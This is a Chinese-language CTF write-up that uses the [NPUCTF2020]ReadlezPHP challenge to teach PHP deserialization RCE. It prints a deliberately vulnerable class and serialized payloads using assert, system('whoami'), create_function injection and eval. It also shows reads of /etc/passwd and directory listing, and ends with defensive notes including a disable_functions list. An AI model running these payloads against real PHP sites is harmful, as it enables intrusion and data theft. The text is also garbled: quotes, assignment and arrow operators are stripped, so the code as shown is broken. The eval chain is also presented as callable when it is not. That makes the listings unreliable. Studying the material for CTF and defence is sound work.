PHP 7.x 反序列化漏洞实战:从 [NPUCTF2020]ReadlezPHP 到 3 种 RCE 利用链构造
PHP 7.x 反序列化漏洞实战从 [NPUCTF2020]ReadlezPHP 到 3 种 RCE 利用链构造在CTF竞赛和实际渗透测试中PHP反序列化漏洞一直是Web安全领域的热点。本文将以一道经典CTF题目[NPUCTF2020]ReadlezPHP为切入点深入剖析PHP反序列化漏洞的实战利用技巧并扩展讲解如何利用不同函数构造3种不同的RCE利用链。1. 题目环境搭建与初步分析首先我们需要搭建一个与题目相似的环境进行测试。以下是简化后的核心代码?php class HelloPhp { public $a; public $b; public function __construct() { $this-a Y-m-d h:i:s; $this-b date; } public function __destruct() { $a $this-a; $b $this-b; echo $b($a); } } if(isset($_GET[source])) { highlight_file(__FILE__); die(); } $ppp unserialize($_GET[data]);这段代码的关键漏洞点在于__destruct魔术方法中的变量函数调用$b($a)。当对象被销毁时会执行这个方法将$b作为函数名$a作为参数进行调用。漏洞利用条件分析存在可控的反序列化入口unserialize($_GET[data])类中包含危险魔术方法__destruct魔术方法中存在动态函数调用或危险操作2. 基础利用assert函数执行任意代码最常见的利用方式是使用assert函数执行PHP代码?php class HelloPhp { public $a phpinfo();; public $b assert; } echo serialize(new HelloPhp());生成的PayloadO:8:HelloPhp:2:{s:1:a;s:10:phpinfo();;s:1:b;s:6:assert;}执行流程分析反序列化时创建HelloPhp对象对象销毁时调用__destruct执行assert(phpinfo();)assert执行参数中的PHP代码注意PHP 7.2版本中assert默认不再执行字符串参数这种利用方式在较新版本中可能失效。3. 进阶利用三种RCE利用链构造3.1 system函数执行系统命令?php class HelloPhp { public $a whoami; public $b system; } echo urlencode(serialize(new HelloPhp()));特点对比函数参数类型返回值PHP版本限制assertPHP代码布尔值7.2system系统命令命令输出全版本3.2 create_function代码注入?php class HelloPhp { public $a };phpinfo();//; public $b create_function; } echo serialize(new HelloPhp());技术细节create_function会创建一个匿名函数通过闭合原函数体注入额外代码需要精心构造参数实现代码注入3.3 eval字符串拼接绕过?php class HelloPhp { public $a phpinfo(); public $b eval; } echo serialize(new HelloPhp());限制与绕过直接eval(phpinfo())会报错需要构造合法PHP语句如eval(return phpinfo();)可通过属性控制实现复杂拼接4. 实战技巧与防御方案4.1 漏洞利用实战技巧文件系统操作// 列目录 class HelloPhp { public $a /; public $b scandir; } // 读文件 class HelloPhp { public $a /etc/passwd; public $b file_get_contents; }绕过限制使用base64_decode等编码函数绕过过滤利用call_user_func等间接调用通过数组形式调用方法如[$obj, method]4.2 安全防护方案开发层面避免反序列化用户输入使用json_decode替代unserialize实现__wakeup或__destruct的安全检查配置层面// php.ini配置 disable_functions assert,system,exec,passthru,shell_exec漏洞检测工具PHP反序列化漏洞扫描器静态代码分析工具5. 扩展研究与总结通过这道CTF题目我们深入理解了PHP反序列化漏洞的利用原理。在实际渗透测试中还需要考虑更多复杂场景魔术方法的组合利用__wakeup__destruct属性类型对反序列化的影响protected/privatePhar反序列化等特殊利用方式PHP反序列化漏洞的防御需要开发者在代码设计阶段就考虑安全因素避免将敏感操作放在魔术方法中并对反序列化操作进行严格限制。